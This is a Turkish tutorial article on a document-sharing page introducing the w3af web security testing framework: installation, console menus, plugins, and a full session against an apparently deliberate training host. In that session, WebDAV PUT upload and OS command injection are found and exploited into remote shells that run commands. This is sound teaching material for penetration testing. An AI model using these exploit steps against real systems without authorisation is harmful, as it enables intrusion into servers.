Web Uygulama güvenliğine kartal bakışı!



Benzer belgeler
W3af ile Web Uygulama Güvenlik Testleri

Özgür Uygulamalar ile Web Güvenliği. The OWASP

Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek

.: Linux Kullanıcıları Derneği. III. Linux ve Özgür Yazılım Şenliği Mayıs Milli Kütüphane Ankara :.

MaestroPanel Kurulum

DRAYTEK VIGOR 3300V. Login(Oturum Açma)

Web Server Sunucu Loglarının K-Komşu Algoritması ile İ ncelenmesi

SAMURAİ FRAMEWORK İLE HACKİNG-1 (FOOTPRINTING)

SQL 2005 SQL STUDIO MANAGER ACP YAZILIMI KURULUM KILAVUZU

Windows 2000 veya XP kurarken dosya sistemini seçmeniz gerekir. Ya FAT32 dosya sistemini kullanırsınız ya da NTFS.

Anti-Virüs Atlatma 3. Kurulum

Disk tabanlı bir çözümdür ve bu yapısından dolayı kullanılması kolaydır. Ayrıca hızlı bir şekilde yedekleme ve geri dönüş sağlar.

Web Uygulama Saldırıları ve Klasik Çözümlerin Yetersizliği

Linux işletim sistemlerinde dosya hiyerarşisinde en üstte bulunan dizindir. Diğer bütün dizinler kök dizinin altında bulunur.

Bilindik engelleme yöntemlerinin dışında olan, kurumsal web filitreleri nasıl aşılır?

C Konsol ve Komut Satırı

Komut Penceresi ile Çalışmaya Başlamak

Widows un çalışmasında birinci sırada önem taşıyan dosyalardan biriside Registry olarak bilinen kayıt veri tabanıdır.

Temel Linux Eğitimi 1., 2. ve 3. Bölümler

VIRTUALIZATION SANALLAŞTIRMA

A-PDF Split DEMO : Purchase from to remove the watermark. Yüklemek

İnternet Programcılığı

[ Web Uygulamalarında Kayank Kod Analizi II ] [ Mehmet Dursun INCE < mehmet.ince@intelrad.com > ] [ 10 Haziran 2013 ]

Mobil Cihazlardan Web Servis Sunumu

Sade ve tam ekran masaüstü kullanımının temel çıkış noktası, aranılan özelliğe çabuk erişimi sağlayan yenilikçi kullanıcı deneyimidir.

3CX Phonesystem Türkçe Anonsları Windows ve Linux İşletim Sistemlerinde Aktif Etme

CYGWIN KURULUMU ve KULLANIMI

Apache Htaccess Güvenlik Testleri

Python Web 2.0 Python ve Web 2.0 Son. Python ve Web 2.0. Gökmen GÖKSEL, 3 Mayıs 2007

SquidGuard Kurulumu. Öncelikle gerekli paket temin edilmelidir. adresinden temin edilebilir. Basitçe kurulumu ;

1-WORKNC KURULUM. 1. Setup.exe ye sağ tuş yapıp yönetici olarak çalıştırın. 2. Kurulum dil seçeneğini English seçin.

XSS Exploitation via CHEF

1 WEB GÜVENLIĞINE GIRIŞ

Turquaz Windows kurulum dökümanı. ftp://ftp.mirror.ac.uk/sites/ftp.postgresql.org/binary/v7.3.1/windows/pgsql731wina1.exe

SQL SERVER 2005 ENTEGRE SQL (VTY) VERİ TABANI YÖNETİM KURULUMU RESİMLİ ANLATIMI. Entegre SQL kurmadan önce SQLSERVER 2005,i kuralım öncelikle.

KULLANICI KILAVUZU: UEA FİX KULLANICILARININ SSLVPN ERİŞİMİ İMKB İÇİNDEKİLER

2. SCADA PROGRAMI. TEOS' un size sunduğu bir çok hizmet içerisinde en önemlilerini şöyle sıralayabiliriz:

SSH Tünelleme ile İçerik Filtreleyicileri Atlatmak

Windows Server 2012 Active Directory Kurulumu

BlackBerry Admin Service

Automatically Upgrade (new) Client push installation Software update point installation Group Policy installation Logon script installation

SKYPE BOT SUNUCUSUNUN KURULMASI

Bilgi ve İletişim Teknolojileri (JFM 102) Ders 7. LINUX OS (Sistem Yapısı) BİLGİ & İLETİŞİM TEKNOLOJİLERİ. LINUX Yapısı

Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME - NT4 bağlantısına çok benzer.

Security Configuration Wizard ile güvenliği artırmak

Unix sistem girişlerinin takibi

Apache üzerinden Red Hat 5 yüklenmesi

MVC. Görüldüğü üzere 2 adet cs. Dosyası oluşturdum. Birincisi çok satır kodu (20-25) içeren büyük işlerin yapılacağı class. İsmi buyuk_isler.

Metin Editörleri YRD. DOÇ. DR. ENGİN CEMAL MENGÜÇ. ALINTI:

Kurumsal Güvenlik ve Web Filtreleme

Scream! e gelen veri akışlarından bazılarını diğer bir kurum yada bilgisayarla paylaşmak için kullanılabilir.

İEÜ : WEBMAIL : FILTERS

Kurumsal Güvenlik ve Web Filtreleme

Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine)

C için tümleşik geliştirme ortamı (IDE) kurulumları

Foobar2000. Bu yazının hiçbir hakkı mahfuz değildir. Istediğiniz gibi kulanabilirsiniz. Foobar Mart

ÖZGÜR YAZILIMLAR İLE J2EE

Uzaktan Kurulum Kılavuzu

Veritabanı Sızma Testleri Türk Standardları Enstitüsü Yazılım Test ve Belgelendirme Dairesi Başkanlığı

Windows Server 2008R2 de Lisans Server ın Aktive Edilmesi

MİKROSAY YAZILIM VE BİLGİSAYAR SAN. TİC. A.Ş.

CSRF (XSRF, Cross Site Request Forgery Cross Site Reference Forgery ) Nedir? Nasıl Kullanılır? ve Nasıl Korunulur?

man komut man ls (ls komutu hakkında bilgi verir.) man pwd (pwd komutu hakkında bilgi verir.)

Fırat Üniversitesi Personel Bilgi Sistemi Penetrasyon(Sızma) Testi

FreeBSD Erişim Kontrol Listeleri

E-İMZA KULLANIM KILAVUZU

Client Server Database

ADIM ADIM METASPLOIT METERPRETER SHELL DAVRANIŞ ANALİZİ

Linux altında komut satırında...

Doğru Adaptor soket kutuplaması.

Linux Dosya ve Dizin Yapısı

Packet tracer arayüzü yukarıdaki şekilden de görüldüğü gibi üç ana araç çubuğundan oluşmaktadır.

Kaynak Kod Güvenliği Bir Güvensiz API Örneği

Disk Alanı 100 Mb Mb Mb Mb Mb Mb. Aylık Trafik (Bandwidth) 1 Gb 5 Gb 10 Gb 15 Gb 25 Gb 35 Gb

Useroam Cloud Kurulum Rehberi

Hızlı Başlangıç Kılavuzu

Bu bölüm V- Ray License Server lisans sunucusu uygulamasının kurulumundan

ProFTPD FTP Sunucusu. Devrim GÜNDÜZ. TR.NET Sistem Destek Uzmanı.

Squid i Follow X-Forwarded-For headers Yaması İle Patchlemek

Temel Linux Komutları

JasperReports Server ve Ireport raporlama Sistemi Kurulumu / Kullanımı 1. Bölüm 2. Bölüm 1- JasperReports Server ve Ireport Nedir?

Kullanıcı Dökümanı. Flash B2B. Versiyon 0.1

Exchange Server 2010 Sertifika Oluşturma

YAZILIM İŞLETİM SİSTEMLERİ

Önsöz. İçindekiler Algoritma Algoritma Nasıl Hazırlanır? Yazılımda Algoritma Mantığı Nedir? 1.2. Algoritma Örnekleri ve Sorular

DBMAIL KURULUMU BELGESI (Howto Install Dbmail) Yazan: Ozgur Karatas

Ubuntu Terminal Server Ve Uzak Masaüstü Sunucusu

HESAP MAKİNASI YAPIMI

BEUN VPN Hizmeti. VPN Nedir?

Bilgi Güvenliği Denetim Sürecinde Özgür Yazılımlar. Fatih Özavcı Bilgi Güvenliği Danışmanı

KONU: İşletim Sistemleri I - Ms-Dos İşletim Sistemi SORULAR

EndNote Web Hızlı Başvuru kartı

SparkleShare. Çağrı Emer. Ekim, 2011

Metasploit Framework ile Güvenlik Denetimi. Fatih Özavcı Bilgi Güvenliği Danışmanı

Veri Tabanı Yönetim Sistemleri Bölüm - 02

Öğr.Gör. Gökhan TURAN Gölhisar Meslek Yüksekokulu

Metasploit Framework ile Güvenlik Denetimi. Fatih Özavcı Bilgi Güvenliği Danışmanı fatih.ozavci at gamasec.net

FTP Programı File Zilla nın Kurulumu & Çalıştırılması

Module 9 Managing The User Environment By Using Group Policy ( Group Policy Kullanıcı Yönetimi )

FortiGate Sertifika Yönetimi. v4.00-build /02

Transkript:

Web Uygulama güvenliğine kartal bakışı! Web uygulama güvenliği son birkaç yılın en heyecanlı en dikkat çeken konularından biri. Bunun temel sebebi Internetin hızla yaygınlaşması sonucu sanal hayatın daha çok web üzerine kayması. Bundan 4 5 yıl kadar öncesinde daha çok masaüstü uygulamaları olarak kullandığımız çoğu uygulama artık birer web uygulaması olarak karşımıza çıkıyor. Hatta masaüstü uygulamalarının temelleri sayılan ofis programları bile web üzerinden rahatlıkla kullanılabilir duruma geldi. Normal bir kullanıcı için bu gelişim iyi sayılabilir fakat işe güvenlik gözü ile bakan biz güvenlik uzmanları her çıkan yeniliği olduğu gibi kabul edemeyiz. Olaya biraz şüpheli yaklaşıp, incelediğinizde aslında kolay kabullendiğimiz bu geçiş serüvenin sağladığı kolaylıkların yanı sıra güvenlik yönünden götürülerinin olduğu gözlemlenecektir. Şimdi bakmayın bu uygulamalarda fazla güvenlik açığı çıkmadığına, biraz kullanımları yaygınlaşsın, dikkat çeker olsun göreceğiz ne tür yeni ataklar ortaya çıkacak. Öyle değil mi? Yıllardır çeşitli uygulamaları sorunsuz kullandığımızı düşündük fakat geldiğimiz noktada kullandığımız çoğu uygulama güvenlik yönünden sınıfı geçemeyip baştan yazılıyor. O zamanlarda bu açıklıklar yok muydu? Elbette vardı ama henüz adı konmamıştı, bu kadar yaygınlaşmamıştı ve dahası güvenlik bilinci o kadar gelişmemişti. Tekrar etmemde fayda var: Şimdi güvenli olduğunu düşündüğümüz web uygulamalarının çoğu bulunacak yeni atak yöntemleri ile kısa süre sonra internetin tozlu sayfalarına karışacak Ve yenileri yazılacak daha güvenli olduğu varsayımı ile. Bir süre sonra onlarda gidecek. Bu bir döngü, insanoğlunun hiçbir zaman mükemmel olamayacağını düşünürsek bu durumu uygun şekilde kabul etmemiz gerekir. Mesleğimiz gereği aktif kabullenme yapmamız gerekir. Yani riski ortadan kaldıramıyorsak olabildiğince azaltmak için çalışmalıyız. Bu noktada yazılımı(web uygulaması) yazan kadar uygulamaya farklı gözle bakabilen insanlara ihtiyaç vardır. Bu noktada Web uygulama sistemleri üzerine yapılan güvenlik testlerinin önemi ortaya çıkıyor. Konu taze ve geçmişi çok değil. Bu sebeple yapılan testler henüz tam manası ile bir standarda oturmamış durumda. OWASP ın ciddi çalışmaları sayesinde kısa sürede sağlam yol alınacağını düşünüyorum. Kendi sorumluluğumuzdaki web uygulamalarını test etmek için genelde Acunetix, Webinspect gibi ticari yazılımları kullanıyoruz fakat bu yazılımların hem lisans maliyeti hem de bazı durumlarda size müdahale şansı vermemesi testlerdeki başarı oranını düşürüyor. Bunlara ek olarak açık kaynak kodlu yazılımlar ile eksik kalan kısımları tamamlıyoruz. Açık kaynak kodlu yazılımlardaki temel sorun da aynı işi yapan birden fazla yazılımın bulunması ve bir test esnasında onlarca farklı yazılımı kullanmamızın gerekmesi sonucu bir dağınıklığın baş göstermesi. Bu sorunu uygulamaları bir arada esnek kullanabileceğimiz, birinin çıktısını diğer araca otomatik aktarabilecek ve raporlayabilecek bir framework(çatı) ile çözebiliriz. Böylece aynı hedef için yapılması gereken testleri tekrar yapmak yerine bu işi bir çatı altında çeşitli eklentiler ile halletmiş oluyoruz.

W3af(Web Application Attack and Audit Framework) Açık kaynak kodlu uygulamaların kullanımı konusundaki eksikliği giderme adına Andres Riancho tarafından yazılmış W3af projesini kullanabiliriz.. W3af, web uygulamaları için çeşitli güvenlik testleri yapabilmeyi sağlayan bir çatı. Bir web uygulamasını test etmek için kullanılacak yöntemler ve araçlar bütünü de diyebiliriz. Oldukça yeni bir proje olmasına rağmen gün geçtikçe artan topluluk desteği ve güncellemeler ile kısa sürede alanında lider projelerde biri olacağa benziyor. Eğer güvenlik testlerinde Metasploit kullanıyorsanız W3af yi de web uygulamaları için yazılmış Metasploit olarak kabul edebilirsiniz. Benim testlerimde Linux üzerinde denemiş olmama rağmen Python ile dili platform bağımsız yazılmış olması nedeni ile Windows üzerinde de problemsiz çalışacağını düşünüyorum. Linux sistemler için W3af kurulumu Kurulumun tamamlanması ve uygulamanın beklendiği gibi çalışabilmesi için ekteki paketlere ihtiyaç duyacaktır. Bu paketler w3af-. Tar.gz ile birlikte gelmektedir ve paket açıldığında extlib dizinine yerleşmektedir. fpconst-0.7.2, pygoogle, pywordnet, SOAPpy, pypdf, utidy W3af.sf.net adresinden indirilecek son sürüm paketler sistemde açılarak önce bağımlı paketler için kurulum yapılır sonrasında dosyaların açıldığı dizine./w3af komutu çalıştırılarak programın ara yüzüne ulaşılır. Bağımlı paketlerin kurulumu için extlib dizinine geçilerek her bir paket için #cd paket_ismi #python setup.py install komutu tekrarlanır. lifeoverip w3af # ls extlib/ SOAPpy/ init.pyc fpconst-0.7.2/ pygoogle/ pywordnet/ socksipy/ init.py* build/ pypdf/ pyrijndael/ scapy/ W3af Nasıl Çalışır? Güvenlik testlerinin temel prensibi olan Keşfet -> Kontrol Et/Denetle -> Saldır metodu W3af için de geçerli. Bünyesinde bulunan eklentiler sayesinde öncelikle test edilen sistemde zayıflık içerebilecek hedefler(url, form vs)bulunur. Sonra bulunan bu hedeflere özel veriler gönderilerek zayıflıklar tespit edilir ve bu zayıflık noktaları exploit edilmeye çalışılır. Exploitin türüne göre sistemde shell açılabilir ya da ilgili zayıflığa ait veriler sistemden alınır.

W3af ile Çalışmak W3af ile text konsol, grafik arabirim ve web arabirimi olmak üzere üç farklı şekilde çalışılabilir (son sürümle birlikte web arabirimi tamamen kaldırılmıştır). Konuya hakim kullanıcılar daha çok konsol arabirimini tercih etmesi tavsiye ederim. Konsol arabirimi web arabirimine göre daha sağlam ve farklı özelliklere sahiptir. Konsol tecrübesi olmayan kullanıcılarda düşünülerek enteraktif ve yardım destekli bir konsol arabirimi tasarlanmış. Kurulum yapılan dizinde./w3af komutu parametresiz çalıştırılırsa konsol arabirimi açılacaktır. Konsol arabiriminde verilmesi gereken ilk komut help komutudur. Böylece w3af nin nasıl çalıştığı, hangi araçlara, eklentilere sahip olduğu daha kolay anlaşılır. Interaktif menüde kullanımı hakkında bilgi sahibi olmadığınız bir menü varsa help menü ismi komutu ile bilgi alabilirsiniz. Konsol değil de grafik arabirimi üzerinden çalışılmak istenirse./w3af g komutu kullanılabilir.

Menüleri kullanma Ana menüden alt menülere geçiş için menünün isminiz yazmak yeterlidir. Tüm menülerde ortak 4 komut vardır. Bu komutlar; help, set, view ve back şeklinde sıralanabilir. w3af>>> target w3af/target>>> help The following commands are available: help You are here. help [command parameter] prints more specific help. set Set a parameter value. view List all configuration parameters and current values. back Return to previous menu. w3af/target>>> Plugin(Eklentiler) Güncel sürümü adlarından işlevleri anlaşılabilecek sekiz adet eklenti barındırmaktadır. Bunlar; discovery, audit, grep, attack, output, mangle, evasion ve bruteforce.

Hangi eklentinin ne amaçla kullanıldığı ile ilgili bilgi http://w3af.sourceforge.net/plugindesc.php adresinden edinilebilir. W3af ile Web uygulama güvenlik testleri W3af kullanılarak yapılmış bir güvenlik testi ve sonrasında sistemde shell(kabuk) çalıştırma. lifeoverip~#./w3af w3af>>> plugins w3af/plugins>>> output console,htmlfile w3af/plugins>>> output Enabled output plugins: console htmlfile w3af/plugins>>> output config htmlfile w3af/plugin/textfile>>> set filename beyazsapka.html w3af/plugin/textfile>>> back w3af/plugins>>> output config console w3af/plugin/console>>> set verbosity 0 w3af/plugin/console>>> back w3af/plugins>>> audit dav, oscommanding,xss,xsrf w3af/plugins>>> discovery serverheader,allowedmethods,pykto w3af/plugins>>> back w3af>>> target w3af/target>>> set target http://egitim-test/w3af/dav/, http://egitim-test/w3af/oscommanding/vulnerable.php?command=f0as9 w3af/target>>> back w3af>>> start Auto-enabling plugin: discovery.allowedmethods The Server header for this HTTP server is: Apache The URL: "http://egitim-test/w3af/dav/" has the following DAV methods enabled: - COPY, DELETE, GET, HEAD, LOCK, MOVE, OPTIONS, POST, PROPFIND, PROPPATCH, TRACE, UNLOCK Found 2 URLs and 2 different points of injection. The list of URLs is: - http://egitim-test/w3af/dav/ - http://egitim-test/w3af/oscommanding/vulnerable.php The list of fuzzable requests is: - http://egitim-test/w3af/dav/ Method: GET - http://egitim-test/w3af/oscommanding/vulnerable.php Method: GET Parameters: (command) Starting dav plugin execution. 100% [====================================================] 2/2 Directory listing with HTTP PROPFIND method was found at directory: http://egitim-test/w3af/dav/ The vulnerability was found in the request with

id 11. File upload with HTTP PUT method was found at directory: http://egitim-test/w3af/dav/. Uploaded test file: http://egitim-test/w3af/dav/freli The vulnerability was found in the request with id 9. Starting oscommanding plugin execution. 100% [====================================================] 2/2 OS Commanding was found at: http://egitim-test/w3af/oscommanding/vulnerable.php. Using method: GET. The data sent was: command=+ping+-c+6+egitim-test The vulnerability was found in the request with id 15. w3af>>> exploit w3af/exploit>>> exploit * Using plugin: davshell davshell exploit plugin is starting. Vulnerability successfully exploited. Using plugin: oscommandingshell oscommandingshell exploit plugin is starting. Vulnerability successfully exploited. remotefileincludeshell plugin has to be correctly configured to use. w3af/exploit>>> interact This is a list of available shells: - [0] <davshell object (ruser: "nobody" rsystem: "Linux bt 2.6.20-BT-PwnSauce-NOSMP i686 GNU/Linux")> - [1] <oscommandingshell object (ruser: "nobody" rsystem: "Linux bt 2.6.20-BT- PwnSauce-NOSMP i686 GNU/Linux")> w3af/exploit>>> interact 0 Execute "endinteraction" to get out of the remote shell. Commands typed in this menu will be runned on the remote web server. w3af/exploit/davshell-0>>> ls base/ beef/ beyazsapka.html dav/ manual/ phpnuke/ unicornscan/ w3af/ w3af/exploit/davshell-0>>> w 23:24:12 up 16:20, 3 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root tty1-07:05 15:03m 0.74s 0.01s /bin/sh /usr/x11r6/bin/startx root pts/8 192.168.2.2 22:24 59:28 0.02s 0.02s -bash root pts/9 192.168.2.2 23:16 0.00s 0.05s 0.01s w w3af/exploit/davshell-0>>> endinteraction Huzeyfe ÖNAL <Huzeyfe@lifeoverip.net>